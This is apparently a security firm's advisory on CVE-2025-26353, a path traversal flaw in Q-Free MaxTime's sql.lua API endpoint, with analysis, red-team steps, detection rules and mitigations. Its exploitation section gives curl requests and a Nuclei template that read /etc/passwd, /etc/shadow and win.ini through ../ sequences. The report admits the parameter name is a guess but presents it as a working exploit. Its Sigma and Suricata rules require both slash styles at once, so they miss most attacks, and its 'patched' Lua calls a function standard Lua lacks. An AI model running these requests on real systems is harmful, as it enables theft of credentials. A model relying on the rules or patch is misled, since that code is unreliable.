CVE-2025-26353

Executive Summary

CVE-2025-26353 is a path traversal vulnerability (CWE-35) identified in Q-Free MaxTime, a traffic management and parking enforcement system. The flaw resides in the maxtime/api/sql/sql.lua endpoint, allowing an authenticated remote attacker to read arbitrary sensitive files from the server's filesystem via crafted HTTP requests. With a CVSS score of 4.9 (Medium), the vulnerability requires authentication but can lead to the disclosure of configuration files, credentials, or other sensitive data. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. This report provides a comprehensive technical analysis, detection strategies, and mitigation guidance.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 4.9 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs valid credentials.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While authentication is required, the impact on confidentiality is high, and the attack complexity is low. The lack of a patch increases risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the Lua-based API endpoint maxtime/api/sql/sql.lua. The endpoint likely processes user-supplied parameters (e.g., file, path, or db) without proper sanitization, allowing an attacker to use ../ sequences to escape the intended directory and read arbitrary files.

Root Cause: The application fails to validate or sanitize user input used in file path construction. For example, a request like:

GET /maxtime/api/sql/sql.lua?file=../../../../etc/passwd

could return the contents of /etc/passwd.

Attack Flow:

1. Attacker authenticates to the Q-Free MaxTime web interface.
2. Attacker crafts an HTTP request to the vulnerable endpoint with path traversal sequences.
3. The server reads the requested file and returns its contents in the response.
4. Attacker exfiltrates sensitive data (e.g., database credentials, SSH keys, configuration files).

Potential Impact:

• Disclosure of database credentials (e.g., config.lua, db.conf).
• Reading of system files (/etc/shadow, /etc/ssl/private/).
• Leakage of application source code, aiding further attacks.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (sql.lua):

-- Vulnerable: Direct concatenation of user input
local file_path = "/var/lib/maxtime/sql/" .. request.query.file
local file = io.open(file_path, "r")
if file then
    local content = file:read("*all")
    response:write(content)
    file:close()
end

Patched Code (Hypothetical):

-- Patched: Validate and restrict path
local function sanitize_path(input)
    -- Remove path traversal sequences
    local safe = input:gsub("%.%.%/?", "")
    -- Ensure only allowed characters
    if not safe:match("^[a-zA-Z0-9_%-%.]+$") then
        return nil
    end
    return safe
end

local safe_file = sanitize_path(request.query.file)
if safe_file then
    local file_path = "/var/lib/maxtime/sql/" .. safe_file
    -- Additional check: ensure file exists in allowed directory
    local real_path = io.realpath(file_path)
    if real_path and real_path:find("/var/lib/maxtime/sql/", 1, true) == 1 then
        local file = io.open(real_path, "r")
        if file then
            local content = file:read("*all")
            response:write(content)
            file:close()
        end
    end
end

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Valid credentials for Q-Free MaxTime (e.g., admin:admin).
• Network access to the target web interface.

Exploitation Steps:

1. Authenticate to the MaxTime web interface and obtain a session cookie.
2. Use curl or a similar tool to send a crafted request:

   curl -k -X GET "https://target/maxtime/api/sql/sql.lua?file=../../../../etc/passwd" \
        -H "Cookie: session=valid_session_cookie"
   

3. Read sensitive files:

   curl -k -X GET "https://target/maxtime/api/sql/sql.lua?file=../../../../etc/shadow" \
        -H "Cookie: session=valid_session_cookie"
   

4. For Windows targets (if applicable):

   curl -k -X GET "https://target/maxtime/api/sql/sql.lua?file=..\\..\\..\\..\\windows\\win.ini" \
        -H "Cookie: session=valid_session_cookie"
   

Automated Scanning with Nuclei (if template available):

id: CVE-2025-26353
info:
  name: Q-Free MaxTime Path Traversal
  severity: medium
  description: Path traversal in maxtime/api/sql/sql.lua
  reference: https://nvd.nist.gov/vuln/detail/CVE-2025-26353
requests:
  - raw:
      - |
        GET /maxtime/api/sql/sql.lua?file=../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Cookie: session=test
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /maxtime/api/sql/sql.lua with suspicious parameters (e.g., file=, path=, db=).
• Look for ../ or ..\\ sequences in query strings.
• Alert on unusual file reads (e.g., /etc/passwd, /etc/shadow, web.config).

Honeypot:

• Deploy a fake sql.lua endpoint that logs all requests and returns a decoy file.
• Use a WAF rule to block path traversal patterns.

Forensics:

• Check web server logs for requests containing ../ or ..\\.
• Review file access logs for unauthorized reads of sensitive files.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /maxtime/api/sql/sql.lua with file= parameter containing ../ or ..\\.
• Outbound data transfers containing sensitive file contents (e.g., root:x:0:0).

File IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, /etc/ssl/private/, or application config files.
• Modified web server logs showing path traversal attempts.

System IOCs:

• Unusual processes reading sensitive files (e.g., cat /etc/shadow).
• Suspicious Lua scripts or temporary files in /tmp/.

Detection Engineering

YARA Rule

rule CVE_2025_26353_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in HTTP requests to Q-Free MaxTime sql.lua"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26353"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "/maxtime/api/sql/sql.lua"
        $param_file = "file="
        $param_path = "path="
    condition:
        any of ($traversal*) and any of ($endpoint, $param_file, $param_path)
}

Sigma Rule

title: CVE-2025-26353 Q-Free MaxTime Path Traversal Attempt
id: 8a3f7c2e-1b4d-4e5f-9a0b-2c3d4e5f6a7b
status: experimental
description: Detects path traversal attempts targeting the sql.lua endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '/maxtime/api/sql/sql.lua'
            - 'file='
            - 'path='
        cs-uri-query|contains|all:
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26353 Q-Free MaxTime Path Traversal Attempt"; flow:to_server,established; content:"/maxtime/api/sql/sql.lua"; http_uri; content:"../"; http_uri; distance:0; content:"..\\"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect Q-Free MaxTime from the internet or restrict access to trusted IPs only.
2. Apply virtual patching: Use a Web Application Firewall (WAF) to block path traversal patterns (e.g., ../, ..\\, file=).
3. Monitor logs: Enable detailed logging for the web server and review for suspicious activity.

Long-term Fixes:

1. Vendor patch: Contact Q-Free for an official patch or upgrade to a version > 2.11.0 if available.
2. Code fix: Implement input validation and sanitization in sql.lua (see patched code example).
3. Least privilege: Run the web server with minimal file system permissions to limit the impact of file reads.
4. Network segmentation: Place MaxTime in a separate VLAN with strict access controls.

Workaround:

• Disable the sql.lua endpoint if not required, or restrict access via .htaccess or Nginx config:

  location /maxtime/api/sql/ {
      deny all;
      return 403;
  }
  

Valters IT
Securing digital infrastructure through intelligence-driven defense.